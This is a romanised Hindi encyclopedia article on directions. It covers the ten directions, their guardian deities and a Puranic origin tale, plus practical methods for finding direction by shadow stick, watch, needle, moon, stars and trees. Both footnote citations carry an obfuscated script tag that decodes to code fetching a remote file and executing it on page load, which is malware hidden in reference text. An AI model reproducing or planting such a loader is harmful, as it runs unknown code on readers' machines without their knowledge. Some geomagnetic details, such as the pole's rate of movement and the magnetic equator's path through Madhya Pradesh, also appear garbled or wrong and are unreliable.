दिशा

भारत डिस्कवरी प्रस्तुति
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disha
vivaran hindoo dharm ke anusar mukhyat: char dishaean hoti haian- poorab, pashchim, uttar, dakshin. inake atirikt in dishaoan se 45 digri kon par sthit char dishaean tatha oordhv (oopar) aur adho (niche) milakar kul das dishaean haian.
disha jnat karane ka tariqa ek chh di lean. use sidha jamin mean ga d dean. jahaan usaki chhaya ki noank p de, vahaan par nishan laga dean. 15 minat bad chhaya ki noank par dobara nishan laga lean. donoan nishanoan ke bich mean rekha khianch kar unhean jo d de. yah rekha poorv se pashchim ki or disha jnan karati hai aur pahala nishan pashchim ki or aur doosara nishan poorv ki or hoga.
das dishaoan ke 10 digpal urdhv ke brahma, eeshany ke shiv v eesh, poorv ke iandr, agney ke agni, dakshin ke yam, nairrity ke nairrit dev, pashchim ke varun, vayavy ke vayu aur marut, uttar ke kuber aur adho ke shesh.
any janakari prachinakal mean disha nirdharan pratahkal v madhyahn ke pashchat ek bindu par ek chh di lagakar soory rashmiyoan dvara p d rahi chh di ki parachhaee tatha uttarayan v dakshinayan kal ki ganana ke adhar par kiya jata tha.

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disha (aangrezi: Cardinal direction) hindoo dharm ke anusar mukhyat: char hoti haian- poorab, pashchim, uttar, dakshin. inake atirikt in dishaoan se 45 digri kon par sthit char dishaean tatha oordhv (oopar) aur adho (niche) milakar kul das dishaean haian.

dishaoan ke nam

aangrezi sanskrit (hindi)
East poorab, prachi, prakh
West pashchim, pratichi, apara
North uttar, udichi
South dakshin, avachi
North-East eeshany
South-East agney
North-West vayavy
South-West nairrity
Zenith oordhv
Nadir adho

disha nirdharan

prachinakal mean disha nirdharan pratahkal v madhyahn ke pashchat ek bindoo par ek chh di lagakar soory rashmiyoan dvara p d rahi chh di ki parachhaee tatha uttarayan v dakshinayan kal ki ganana ke adhar par kiya jata tha. vartaman mean chumbakiy suee ki sahayata se bane disha soochak yantr (Compass) se yah kaphi sugam ho gaya hai.

disha jnan

prithvi ek bahut b de chuanbak ki bhaanti kary karati hai. is chuanbak ka dakshin dhruv prithvi ke uttar dhruv ki or rahata hai lekin chuanbakiy dhruv aur prithvi ke bhaugolik dhruv mean aantar rahata hai. prithvi ka bhaugolik dhruv hamesha sthir rahata hai, jabaki chuanbakiy dhuhrav lagabhag 40 kimi. prati kimi ki gati se, vayavy kon ki or, gatishil hai. chuanbakiy uttari dhuvr kanada ke pas lagabhag 96° pashchim tatha 70.5° uttar par p data hai. chuanbakiy bhoomadhy rekha bharat mean madhy pradesh ke pas se gujarati hai. chuanbakiy uttar mean evan bhaugolik uttar mean ek kon rahata hai, jise ‘maignetik diklaneshan’ kahate haian kyoanki bharat ke oopar se chuanbakiy bhoomadhy rekha gujarati hai, isalie ‘maignetik diklaneshan’ bharat mean kaphi kam hai. yah ek aansh se bhi kam hai. isalie dishasoochak yantr dvara darshayi gayi disha lagabhag satik hoti hai. aisa any deshoan mean nahian hai. amerika mean yah ‘maiganetik diklaneshan’ 10°, kanada mean 14°, dakshin aphrika mean 23°, chin mean 6°, japan mean 7° ityadi hai. atah sahi disha janane ke lie is ‘diklaneshan’ ka jnan hona ati avashyak hai. lekin yah ‘diklaneshan’ bhi samayanusar badalata rahata hai. atah dishasoochak yantr dvara bilkul sahi disha jnan karane ke lie sookshm gananaoan ki jaroorat p dati hai. dishasoochak yantr se disha ka jnan karane ke lie aur bhi kuchh savadhaniyaan baratani avashyak hai, jaise dishasoochak ke asapas chuanbakiy padarth, ya chuanbak nahian hona chahie. unake bich kam se kam ek phut ki doori avashy honi chahie.

disha jnat karane ke tarike

ek chh di lean. use sidha jamin mean ga d dean. jahaan usaki chhaya ki noank p de, vahaan par nishan laga dean. 15 minat bad chhaya ki noank par dobara nishan laga lean. donoan nishanoan ke bich mean rekha khianch kar unhean jo d de. yah rekha poorv se pashchim ki or disha jnan karati hai aur pahala nishan pashchim ki or aur doosara nishan poorv ki or hoga. yadi bilkul sahi disha jnan karana chahate haian, to subah uparyukt vidhi dvara nishan lagaean aur, chh di ko keandrabiandu manate hue, nishan ke barabar trijya lete hue, ek vritt bana dean. sham ko jab bhi chh di ki chhaya is vritt ko jahaan bhi chhue, vahaan par bhi nishan laga dean aur donoan bianduoan ko jo d dean. yah rekha pashchim se poorv ki or bilkul sahi disha darshati hai.

gh di se disha jnan

yadi koee uttari aksh mean hai, to apani gh di ke ghante ki sueean ko soory ki or ghuma kar kh de jo jaean. ghante aur 12 baje ke bich ke kon ko ardh vibhakt kar jo rekha aegi, vah thik dakshin ki or ishara karegi. yadi koee dakshin aksh mean hai, to gh di ke 12 ko soory ki or ghuma lean evan ghante ki sueean aur 12 ke bich ke kon ko vibhajit karean, to yah rekha uttar ki disha bataegi.

suee dvara disha jnan

ek sueean lean. isako kisi dhage se lataka dean aur ek chuanbak, ya resham ke kap de ke oopar isaki nok ko ek disha mean ghisean. isase yah ek chuanbak ki bhaanti ho jaegi aur dishasoochak yantr ki tarah disha ka jnan karaegi.

chandrama dvara disha jnan

yadi chandrama sooryast se pahale uday ho chuka hai, to chandrama ka prakashayukt bhag pashchim ki or hota hai aur yadi arddh ratri ke bad chandrama uday hua hai, to poorv ki or hota hai. is prakar se ratri mean bhi poorv aur pashchim disha ka akalan kiya ja sakata hai.

taroan dvara disha jnan

saptarshi mandal dvara dhruv tare ko pahachan sakate haian. yah hamesha uttari dhruv mean dikhaee deta hai aur hamesha uttar ki or ka disha jnan karata hai. dakshini dhruv mean dakshini kraॅs ko pahachanean. us kraॅs se lagabhag sadhe char guna lanbi ek kalpana rekha bana lean. vahi dakshin disha hai.

oriyan tara dvara disha jnan

oriyan tara ki pahachan ke lie akash mean tin chamakate hue taroan se damaroo bana hua dekhean. yah uttari aur dakshini dhruv donoan se dekha ja sakata hai kyoanki yah sarvada bhoomadhy rekha ke oopar rahata hai, isalie yah sarvada poorv se uday hota hai aur pashchim mean chhupata hai. vyakti chahe prithvi par kahian par bhi ho, isake uday hone se poorv disha ka jnan ho jata hai.

pe doan dvara disha jnan

pe doan ko dhyan se dekhane par pata chalega ki unaki uttari disha dakshini disha se jyada gili hoti hai aur vahaan par jyada kaee bhi payi jati hai. dakshin ki or unaki adhik shakhaean hoti haian. yah isalie, kyoanki uttari aksh mean soory dakshin disha mean rahata hai. yadi dhyan se dekhean, to paeange ki chitiyaan bhi apane bil dakshin disha ki or banati haian. yadi koee paha di ilake mean ho, to vah paega ki dakshin disha mean adhik hariyali aur ghani ghas hoti hai. phal bhi dakshin disha mean jaldi pakate haian. uparyukt vidhi dvara disha ka keval anuman laga sakate haian, lekin poorn jnan nahian milata, kyoanki kabhi-kabhi, vayu ke karan, uparyukt tathyoan mean aantar a jata hai.[1]

das dishaoan ke 10 digpal

varah puran ke anusar digpaloan ki utpatti ki katha is prakar hai- jab brahma srishti karane ke vichar mean chiantanarat the, us samay unake kan se 10 kanyaean utpann hueean jinamean mukhy 6 aur 4 gaun thian.
1. poorva: jo poorv disha kahalaee.
2. agneyi: jo agney disha kahalaee.
3. dakshina: jo dakshin disha kahalaee.
4. nairriti: jo nairrity disha kahalaee.
5. pashchima: jo pashchim disha kahalaee.
6. vayavi: jo vayavy disha kahalaee.
7. uttar: jo uttar disha kahalaee.
8. aishani: jo eeshan disha kahalaee.
9. urdhv: jo urdhv disha kahalaee.
10. adhash‌: jo adho disha kahalaee.
un kanyaoan ne brahma ko naman kar unase rahane ka sthan aur upayukt patiyoan ki yachana ki. brahma ne kaha- 'tum logoan ki jis or jane ki ichchha ho, ja sakati ho. shighr hi tum logoan ko tadanuroop pati bhi dooanga.' isake anusar un kanyaoan ne 1-1 disha ki or prasthan kiya. isake pashchat brahma ne 8 digpaloan ki srishti ki aur apani kanyaoan ko bulakar pratyek digpal ko 1-1 kanya pradan kar di. isake bad ve sabhi digpal un kanyaoan ke sath apani-apani dishaoan mean chale ge. in digpaloan ke nam puranoan mean dishaoan ke kram se nimnaankit hai-

shesh 2 dishaoan arthat urdhv ya akash ki or ve svayan (brahma) chale ge aur niche ki or unhoanne shesh ya anant ko pratishthit kiya.[2]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ disha jnan (hiandi) fyoochar f aaur yoo. abhigaman tithi: 20 janavari, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. ↑ das dishaoan ke 10 digpal (hiandi) veb duniya. abhigaman tithi: 20 janavari, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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